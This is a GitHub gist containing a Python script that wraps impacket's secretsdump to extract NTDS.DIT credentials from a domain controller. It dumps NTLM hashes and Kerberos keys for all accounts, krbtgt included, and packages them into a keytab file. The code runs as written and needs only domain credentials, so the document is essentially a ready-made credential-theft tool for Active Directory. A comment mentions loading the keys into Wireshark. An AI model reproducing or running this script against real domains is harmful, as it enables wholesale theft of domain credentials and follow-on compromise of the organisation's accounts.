Skip to content

Instantly share code, notes, and snippets.

@wywwzjj
Created April 1, 2022 08:36
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save wywwzjj/71d9fc1f189c1132f5b8548a51c3ad07 to your computer and use it in GitHub Desktop.
Save wywwzjj/71d9fc1f189c1132f5b8548a51c3ad07 to your computer and use it in GitHub Desktop.
import argparse
import binascii
import codecs
import logging
import os
import sys
from Scripts.secretsdump import DumpSecrets
from impacket.examples.utils import parse_target
from impacket.krb5.keytab import Keytab
from impacket.structure import Structure
'''
This script will dump the secrets from a target and output them to a keytab file.
# example usage:
python secretsdump2keytab.py contoso.com/administrator:123456@dc.contoso.com
'''
"""
Keytab structure from http://www.ioplex.com/utilities/keytab.txt
keytab {
uint16_t file_format_version; /* 0x502 */
keytab_entry entries[*];
};
keytab_entry {
int32_t size;
uint16_t num_components; /* sub 1 if version 0x501 */
counted_octet_string realm;
counted_octet_string components[num_components];
uint32_t name_type; /* not present if version 0x501 */
uint32_t timestamp;
uint8_t vno8;
keyblock key;
uint32_t vno; /* only present if >= 4 bytes left in entry */
};
counted_octet_string {
uint16_t length;
uint8_t data[length];
};
keyblock {
uint16_t type;
counted_octet_string;
};
"""
"""
00000000: 0502 0000 004f 0001 000b 636f 6e74 6f73 .....O....contos
00000010: 6f2e 636f 6d00 0d41 646d 696e 6973 7472 o.com..Administr
00000020: 6174 6f72 0000 0001 5fac 8bd4 0100 1700 ator...._.......
00000030: 2033 6365 6437 3639 6665 6633 3431 3966 3ced769fef3419f
00000040: 3566 6139 6131 3961 3731 3630 3233 3337 5fa9a19a71602337
00000050: 3300 0000 0100 0000 4800 0100 0b63 6f6e 3.......H....con
"""
# https://github.com/dirkjanm/forest-trust-tools/blob/master/keytab.py
encType = {
'des-cbc-md5': 3,
'aes128-cts-hmac-sha1-96': 17,
'aes256-cts-hmac-sha1-96': 18,
'rc4': 23
}
class KeyTab(Structure):
structure = (
('file_format_version', 'H=517'),
('keytab_entry', ':')
)
def fromString(self, data):
self.entries = []
Structure.fromString(self, data)
data = self['keytab_entry']
while len(data) != 0:
ktentry = KeyTabEntry(data)
data = data[len(ktentry.getData()):]
self.entries.append(ktentry)
def getData(self):
self['keytab_entry'] = b''.join([entry.getData() for entry in self.entries])
data = Structure.getData(self)
return data
class OctetString(Structure):
structure = (
('len', '>H-value'),
('value', ':')
)
class KeyTabContent(Structure):
structure = (
('num_components', '>h'),
('realmlen', '>h-realm'),
('realm', ':'),
('components', ':'),
('restdata', ':')
)
def fromString(self, data):
self.components = []
Structure.fromString(self, data)
data = self['components']
for i in range(self['num_components']):
ktentry = OctetString(data)
data = data[ktentry['len'] + 2:]
self.components.append(ktentry)
self.restfields = KeyTabContentRest(data)
def getData(self):
self['num_components'] = len(self.components)
# We modify the data field to be able to use the parent class parsing
self['components'] = b''.join([component.getData() for component in self.components])
self['restdata'] = self.restfields.getData()
data = Structure.getData(self)
return data
class KeyTabContentRest(Structure):
structure = (
('name_type', '>I=1'),
('timestamp', '>I=0'),
('vno8', 'B=2'),
('keytype', '>H'),
('keylen', '>H-key'),
('key', ':')
)
class KeyTabEntry(Structure):
structure = (
('size', '>I-content'),
('content', ':', KeyTabContent)
)
def fillKeytab(realm, keys):
# Wireshark takes any number of keys in the keytab, so feel free to add
# krbtgt keys, service keys, trust keys etc
"""
keys = [
('krbtgt', 18, 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'),
('krbtgt', 17, 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'),
('krbtgt', 3, 'aaaaaaaaaaaaaaaa')
]
"""
nkt = KeyTab()
nkt.entries = []
for key in keys:
ktcr = KeyTabContentRest()
ktcr['keytype'] = key[1]
ktcr['key'] = binascii.unhexlify(key[2])
nktcontent = KeyTabContent()
nktcontent.restfields = ktcr
# The realm here doesn't matter for wireshark but does of course for a real keytab
nktcontent['realm'] = realm.encode()
username = OctetString()
username['value'] = key[0]
nktcontent.components = [username]
nktentry = KeyTabEntry()
nktentry['content'] = nktcontent
nkt.entries.append(nktentry)
data = nkt.getData()
with open(realm + '.keytab', 'wb') as outfile:
outfile.write(data)
def genKeytab(realm, filename='temp'):
keys = []
with open(filename + '.ntds.kerberos', 'r') as f:
lines = f.readlines()
for line in lines:
line = line.strip()
splits = line.split(':')
username = splits[0].split('\\')[1] if '\\' in splits[0] else splits[0]
enctype = encType[splits[1]]
key = splits[2]
keys.append((username, enctype, key))
with open(filename + '.ntds', 'r') as f:
lines = f.readlines()
for line in lines:
line = line.strip()[:-3]
splits = line.split(':')
username = splits[0].split('\\')[1] if '\\' in splits[0] else splits[0]
key = splits[3]
keys.append((username, encType['rc4'], key))
fillKeytab(realm, keys)
if logging.getLogger().level == logging.DEBUG:
keytab = Keytab.loadFile(realm + '.keytab')
keytab.prettyPrint()
try:
os.remove(filename + '.ntds')
os.remove(filename + '.ntds.kerberos')
os.remove(filename + '.ntds.cleartext')
except FileNotFoundError:
pass
if __name__ == '__main__':
# Explicitly changing the stdout encoding format
if sys.stdout.encoding is None:
# Output is redirected to a file
sys.stdout = codecs.getwriter('utf8')(sys.stdout)
parser = argparse.ArgumentParser(add_help=True, description="Performs various techniques to dump secrets from "
"the remote machine without executing any agent there.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address> or LOCAL'
' (if you want to parse local files)')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-system', action='store', help='SYSTEM hive to parse')
parser.add_argument('-bootkey', action='store', help='bootkey for SYSTEM hive')
parser.add_argument('-security', action='store', help='SECURITY hive to parse')
parser.add_argument('-sam', action='store', help='SAM hive to parse')
parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse')
parser.add_argument('-resumefile', action='store', help='resume file name to resume NTDS.DIT session dump (only '
'available to DRSUAPI approach). This file will also be used to keep updating the session\'s '
'state')
parser.add_argument('-outputfile', action='store',
help='base output filename. Extensions will be added for sam, secrets, cached and ntds')
parser.add_argument('-use-vss', action='store_true', default=False,
help='Use the VSS method insead of default DRSUAPI')
parser.add_argument('-exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec',
help='Remote exec '
'method to use at target (only when using -use-vss). Default: smbexec')
group = parser.add_argument_group('display options')
group.add_argument('-just-dc-user', action='store', metavar='USERNAME',
help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. '
'Implies also -just-dc switch')
group.add_argument('-just-dc', action='store_true', default=False,
help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)')
group.add_argument('-just-dc-ntlm', action='store_true', default=False,
help='Extract only NTDS.DIT data (NTLM hashes only)')
group.add_argument('-pwd-last-set', action='store_true', default=False,
help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data')
group.add_argument('-user-status', action='store_true', default=False,
help='Display whether or not the user is disabled')
group.add_argument('-history', action='store_true', help='Dump password history, and LSA secrets OldVal')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true",
help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use'
' the ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication'
' (128 or 256 bits)')
group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file')
group = parser.add_argument_group('connection')
group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
group.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name and you cannot resolve it')
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
options.outputfile = 'temp'
options.just_dc = True
domain, username, password, remoteName = parse_target(options.target)
if options.target_ip is None:
options.target_ip = remoteName
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
dumper = DumpSecrets(remoteName, username, password, domain, options)
try:
dumper.dump()
genKeytab(domain)
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(e)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment